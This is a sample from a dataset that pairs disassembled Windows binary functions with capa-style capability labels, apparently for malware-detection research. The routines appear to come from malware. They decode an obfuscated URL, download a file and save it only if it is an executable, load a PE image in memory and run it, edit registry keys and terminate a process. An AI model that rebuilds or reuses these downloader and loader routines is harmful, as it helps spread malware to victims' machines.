joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007e76
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x10015140
push 1
push esi
push 0x10015180
call dword [ebp - 0x18]
test eax, eax
jne 0x10007f01
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x10015170
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10007f08
xor eax, eax
jmp 0x10007f96
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10007f79
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x10012420
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10007f6e
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10007f65
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10007f11
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x10007f89
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10007f93
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009c70
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
and byte [ebp - 0x208], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
push 5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
mov esi, 0x10018f28
lea edi, [ebp - 0x104]
push 0x3c
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
and byte [ebp - 0x30c], al
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x30b]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x10009d7e
mov esi, 0x104
lea eax, [ebp - 0x104]
push str.CTXOPConntion_Class
push eax
call dword [0x1001a490]
pop ecx
test eax, eax
pop ecx
jne 0x10009d5c
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push eax
call dword [0x1001a494]
pop ecx
dec eax
cmp byte [ebp + eax - 0x104], 0x5f
jne 0x10009d16
lea eax, [ebp + eax - 0x103]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x10018f50
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test edi, edi
jne 0x10009ce1
push edi
call dword [0x1001a3c0]
lea eax, [ebp - 0x208]
push eax
call fcn.10009bf9
lea eax, [ebp - 0x208]
push eax
call dword [0x1001a494]
pop ecx
cmp eax, 4
pop ecx
pop edi
pop esi
lea eax, [ebp - 0x208]
ja 0x10009db2
mov eax, str.NULL
leave
ret
Function at 0x10009db4
Capabilities:
Contain obfuscated stackstrings
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
mov byte [ebp - 0x34], 0x68
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x3a
mov byte [ebp - 0x2f], 0x2f
mov byte [ebp - 0x2e], 0x2f
mov byte [ebp - 0x2d], 0x77
mov byte [ebp - 0x2c], 0x77
mov byte [ebp - 0x2b], 0x77
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x62
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x2e
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x6d
mov byte [ebp - 0x1f], 0x2f
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x2f
mov byte [ebp - 0x19], 0x67
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x10], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x10009f4d
push ebx
push SysReAllocString
push ebx
lea eax, [ebp - 0x34]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x10009e8f
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x10009f4d
push ebx
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x10009eb1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
jmp 0x10009f4d
mov eax, dword [ebp - 4]
inc eax
push eax
call sub.MFC42.DLL_operatornew
mov edi, eax
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push edi
call dword [0x1001a49c]
add esp, 0x10
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10009ef7
push edi
call sub.MFC42.DLL_operatordelete
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
push esi
call edi
push dword [ebp - 8]
call edi
jmp 0x10009f4d
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
push 0x22
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
push 0x22
push edi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x10
cmp esi, ebx
je 0x10009f46
cmp eax, ebx
je 0x10009f46
inc esi
mov byte [eax], bl
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov esi, eax
call sub.MFC42.DLL_operatordelete
cmp esi, 0xffffffff
pop ecx
je 0x10009f46
mov eax, dword [ebp + 8]
push 1
mov dword [eax], esi
pop eax
jmp 0x10009f4f
push edi
call sub.MFC42.DLL_operatordelete
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a53e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push esi
push eax
push ebx
call dword [0x1001a3b0]
call dword [0x1001a36c]
push eax
push ebx
push 0x1f0fff
call dword [0x1001a380]
lea ecx, [ebp - 4]
mov dword [ebp - 4], esi
push ecx
lea ecx, [ebp - 0x20c]
push ecx
push ebx
push eax
call dword [0x1001a390]
lea eax, [ebp - 0x20c]
push eax
call dword [0x1001a4f4]
push ebx
lea eax, [ebp - 0x108]
push 0x1c
push eax
push ebx
call dword [0x1001a4dc]
push ebx
lea eax, [ebp - 0x310]
push 0x1c
push eax
push ebx
call dword [0x1001a4dc]
lea eax, [ebp - 0x108]
push eax
call dword [0x1001a4e8]
test eax, eax
lea eax, [ebp - 0x108]
push eax
je 0x1000a608
call dword [0x1001a4f0]
lea eax, [ebp - 0x310]
push eax
call dword [0x1001a4f0]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
jmp 0x1000a64b
mov esi, dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
call esi
lea eax, [ebp - 0x108]
push 0x10018fc0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x310]
push eax
call esi
push 0x10018fcc
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x108]
pop ecx
push eax
call dword [0x1001a4e8]
test eax, eax
jne 0x1000a70b
cmp dword [0x1001a6c8], 1
jne 0x1000a67b
push 0x1001a294
call fcn.1000566e
lea eax, [ebp - 0x310]
push 0x10018fd8
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x310]
pop ecx
push ebx
push eax
push 0x10018fe4
call dword [0x1001a35c]
lea eax, [ebp - 0x108]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x1001a35c]
test eax, eax
je 0x1000a70b
cmp dword [0x1001a26c], 1
jne 0x1000a6c8
call fcn.1000343e
movzx eax, word [0x1001a526]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x1001a3a0]
movzx eax, word [0x1001a526]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x1001a3a0]
push ebx
push ebx
lea eax, [ebp - 0x108]
push ebx
push eax
push ebx
push ebx
call dword [0x1001a4e0]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, word [0x1001a526]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x1001a3a0]
cmp dword [0x1001a6bc], 1
jne 0x1000a72e
call fcn.100038d7
call fcn.1000a301
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000afac
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x1000b0bd
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x1000b0bd
mov edi, 0x2000
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call dword [0x1001a3ac]
mov ebx, eax
test ebx, ebx
jne 0x1000b003
push 4
push edi
push dword [esi + 0x50]
push eax
call dword [0x1001a3ac]
mov ebx, eax
test ebx, ebx
je 0x1000b0bd
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor eax, eax
push 4
push 0x1000
mov dword [edi + 4], ebx
mov dword [edi + 0xc], eax
mov dword [edi + 8], eax
mov dword [edi + 0x10], eax
push dword [esi + 0x50]
push ebx
call dword [0x1001a3ac]
push 4
push 0x1000
push dword [esi + 0x54]
push ebx
call dword [0x1001a3ac]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push eax
push dword [ebp - 4]
call dword [0x1001a498]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
push edi
push esi
mov eax, dword [ecx + 0x3c]
push ecx
add eax, edx
mov dword [edi], eax
mov dword [eax + 0x34], ebx
call fcn.1000b0cb
mov eax, ebx
add esp, 0x18
sub eax, dword [esi + 0x34]
je 0x1000b088
push eax
push edi
call fcn.1000b231
pop ecx
pop ecx
push edi
call fcn.1000b2ab
test eax, eax
pop ecx
je 0x1000b0b6
push edi
call fcn.1000b174
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000b0c4
add eax, ebx
test eax, eax
je 0x1000b0b6
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x1000b0c1
push edi
call fcn.1000b46a
pop ecx
xor eax, eax
jmp 0x1000b0c6
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b0cb
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000b170
push edi
add esi, 0x10
mov edi, 0x1000
cmp dword [esi], 0
jne 0x1000b131
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x1000b15e
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call dword [0x1001a3ac]
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1001a49c]
add esp, 0xc
jmp 0x1000b15e
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push edi
push dword [esi]
push eax
call dword [0x1001a3ac]
push dword [esi]
mov ebx, eax
mov eax, dword [esi + 4]
add eax, dword [ebp + 8]
push eax
push ebx
call dword [0x1001a498]
mov dword [esi - 8], ebx
mov ebx, dword [ebp + 0x10]
add esp, 0xc
mov eax, dword [ebx]
inc dword [ebp - 4]
add esi, 0x28
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000b0fa
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000bcd6
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x100197b4
push 0x100197d0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 2
call eax
mov edi, 0x128
mov ebx, eax
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000bd45
push dword [ebp + 8]
lea edi, [esi + 0x24]
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
pop ecx
jmp 0x1000bd3c
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000bd45
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000bd27
mov eax, dword [esi + 8]
jmp 0x1000bd4e
push esi
call sub.MFC42.DLL_operatordelete
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000bd53
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [0x1001a3d8]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000bc33
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [0x1001a3d0]
push dword [ebp - 4]
call dword [0x1001a3c0]
mov eax, esi
pop esi
leave
ret

Function at 0x1000bdae
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100123e0
push 0x1000c92a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push 0x100197e0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push 0x10019830
push ebx
call esi
mov dword [ebp - 0x38], eax
push 0x10019840
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x1000be6a
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x1000be6f
mov dword [ebp - 0x28], edi
jmp 0x1000be73
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.1000be91
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000beac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100123f0
push 0x1000c92a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x49
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x44
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x70
xor ebx, ebx
mov byte [ebp - 0x34], bl
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x1c], eax
push str.OpenDesktopA
push dword [ebp - 0x24]
call esi
mov edi, eax
push str.CloseDesktop
push dword [ebp - 0x24]
call esi
mov esi, eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
push 0x1ff
push ebx
push ebx
je 0x1000bf69
push dword [ebp + 8]
call edi
jmp 0x1000bf6c
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x1000bf83
push eax
call fcn.1000bdae
pop ecx
test eax, eax
jne 0x1000bf86
push dword [ebp - 0x2c]
call esi
mov dword [ebp - 0x20], ebx
or dword [ebp - 4], 0xffffffff
call fcn.1000bfa3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000bfb2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x1000c020
push str.InternetOpenUrlA
push edi
call esi
push ebx
push SysReAllocString
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x1000c032
cmp edi, ebx
je 0x1000c02b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1000c0eb
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000c0c1
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call dword [0x1001a49c]
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x1000c090
cmp word [ebp - 0x41c], 0x5a4d
jne 0x1000c0b2
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x1000c0b5
jmp 0x1000c053
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [0x1001a3c0]
mov edi, dword [ebp - 0xc]
push 1
call dword [0x1001a3c4]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x1000c0e8
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000c55c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012410
push 0x1000c92a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x1000c642
dec eax
je 0x1000c660
dec eax
je 0x1000c61c
dec eax
jne 0x1000c6bd
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x1000c6bd
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x40]
jmp 0x1000c6b2
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x1000c6bd
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
jmp 0x1000c6b2
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x2c]
test eax, eax
jne 0x1000c6bd
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x1000c6bd
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe 0x1000c6bd
cmp esi, 2
jbe 0x1000c699
cmp esi, 4
je 0x1000c68f
cmp esi, 7
je 0x1000c699
jmp 0x1000c6bd
push 4
lea eax, [ebp + 0x1c]
push eax
push 4
jmp 0x1000c6a8
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x18]
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x34]
test eax, eax
jne 0x1000c6bd
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000c6e8
cmp edi, ebx
je 0x1000c6d1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0xc27370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xc2738e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xc50074
push ecx
mov edi, eax
call fcn.00c3b198
mov esi, eax
add esp, 8
test esi, esi
jne 0xc273cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00c3b02e
push esi
call fcn.00c3afb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret